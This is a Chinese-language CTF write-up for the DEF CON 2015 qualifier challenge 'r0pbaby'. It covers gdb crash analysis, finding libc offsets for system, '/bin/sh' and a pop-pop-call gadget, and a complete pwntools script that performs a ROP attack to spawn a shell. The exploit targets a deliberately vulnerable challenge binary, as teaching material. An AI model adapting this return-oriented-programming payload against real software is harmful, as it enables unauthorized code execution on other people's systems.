Defcon - 2015 - 初賽 - r0pbaby writeup

資源

r0pbaby 程序

目的

getshell

思路

查看文件類型

$ file r0pbaby
r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped

這是一個64位的可執行文件

查看文件安全策略

$ checksec r0pbaby
[*] '/home/jc/Documents/pwn/r0pbaby'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

開啓了NX,需要進行ROP

添加執行權限,運行玩一玩

$ chmod u+x r0pbaby
$ ./r0pbaby
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FB66BC239B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FB66B476390
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 4
ABCD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

從這裏我們可以知道,應該可以利用3),控制rip。因爲這是一個64位的ELF,參數/bin/sh存儲在rdi中,而不是棧中。所以,想要執行system(‘/bin/sh’),我們需要在call system前,將/bin/sh放在棧頂並執行一次pop rdi。

我們嘗試讓程序崩潰看看,操起gdb

$ gdb -q r0pbaby
Reading symbols from r0pbaby...(no debugging symbols found)...done.

創建長度爲50的字符串

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

運行

gdb-peda$ r
Starting program: /home/jc/Documents/pwn/r0pbaby 

輸入剛纔生成的長度爲50的字符串

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 50
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.

Segmentation fault 崩潰了!

根據提示

[-------------------------------------code-------------------------------------]
   0x555555554eae:  pop    r14
   0x555555554eb0:  pop    r15
   0x555555554eb2:  pop    rbp
=> 0x555555554eb3:  ret    
   0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x555555554ebe:  xchg   ax,ax
   0x555555554ec0:  push   r15
   0x555555554ec2:  mov    r15d,edi

我們知道程序崩潰在了

=> 0x555555554eb3:  ret

此時ret的返回地址,此時rsp的指向爲

gdb-peda$ x/x $rsp
0x7fffffffdc98: 0x6e41412441414241
gdb-peda$ x/s $rsp
0x7fffffffdc98: "ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA"

查看偏移量

gdb-peda$ pattern_offset ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA found at offset: 8

也就是說,程序會以我們輸入的偏移量爲8的位置去取ret的地址,this is so good!我們可以藉此控制rip!此時的棧,是這樣子的:

---------- 內存高地址
...
----------
(AADAA;A
----------
AACAA-AA
----------
ABAA$AAn   <- ret
----------
AAA%AAsA
----------
...
---------- 內存低地址

libc裏通常有這樣的一個gadget

pop rax
pop rdi
call rax

如果我們構造一個這樣的棧空間

---------- 內存高地址
...
----------
/bin/sh的地址      pop rdi
----------
system()的地址     pop rax
----------
gadget ppc的地址   <- ret
----------
AAA%AAsA
----------
...
---------- 內存低地址

Great!對不對?
那麼,接下來我們要做幾件事:

  1. 獲取libc中system的地址
  2. 獲取libc中/bin/sh的地址
  3. 獲取libc中ppc gadget的地址
  4. 獲取運行時system的地址
  5. 構造payload併發送getshell

下面我們利用本地的libc文件做下測試,本地libc路徑位於:/lib/x86_64-linux-gnu/libc-2.23.so

獲取libc中system的地址

IDA shift + f12,ctrl + f,system

system

得到libc中system的地址爲0x45390

獲取libc中/bin/sh的地址

IDA shift + f12,ctrl + f,/bin/sh

/bin/sh
/bin/sh addr

得到libc中/bin/sh的地址爲0x18cd17

獲取libc中ppc gadget的地址

IDA alt + t,pop rdi,直到找到ppc爲止

ppc

得到libc中ppc的地址爲0x1073d9

獲取運行時system的地址

運行程序的時候,輸入2,再輸入system,就出來了

構造payload併發送getshell

#!/usr/bin/python

from pwn import *


def get_addr_sys(sh):
    sh.sendline('2')
    sh.recv()
    sh.sendline('system')
    ret = sh.recvline().split(' ')[-1]
    sh.recv()
    ret = long(ret, 16)
    return ret


def get_shell(sh, addr_sys, ppc_offset, bin_sh_offset):
    print('addr_sys: %x' % addr_sys)
    print('pop_pop_call_offset: %x' % ppc_offset)
    print('bin_sh_offset: %x' % bin_sh_offset)
    sh.sendline('3')
    sh.recv()
    sh.sendline('32')
    payload = 'A' * 8 + p64(addr_sys + ppc_offset) + p64(addr_sys) + p64(addr_sys + bin_sh_offset)
    print(len(payload))
    sh.sendline(payload)
    sh.recv()
    return


def main():
    sh = process('./r0pbaby')
    addr_sys = get_addr_sys(sh)
    libc_addr_pop_rdi = 0x1073d9
    libc_addr_bin_sh = 0x18cd17
    libc_addr_sys = 0x45390

    ppc_offset = libc_addr_pop_rdi - libc_addr_sys
    bin_sh_offset = libc_addr_bin_sh - libc_addr_sys
    get_shell(sh, addr_sys, ppc_offset, bin_sh_offset)
    sh.interactive()
    sh.close()


if __name__ == '__main__':
    main()

本地測試結果

$ python r0pbaby_solver.py 
[+] Starting local process './r0pbaby': pid 6061
addr_sys: 7fabe3959390
pop_pop_call_offset: c2049
bin_sh_offset: 147987
32
[*] Switching to interactive mode
$ whoami
jc
$  
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章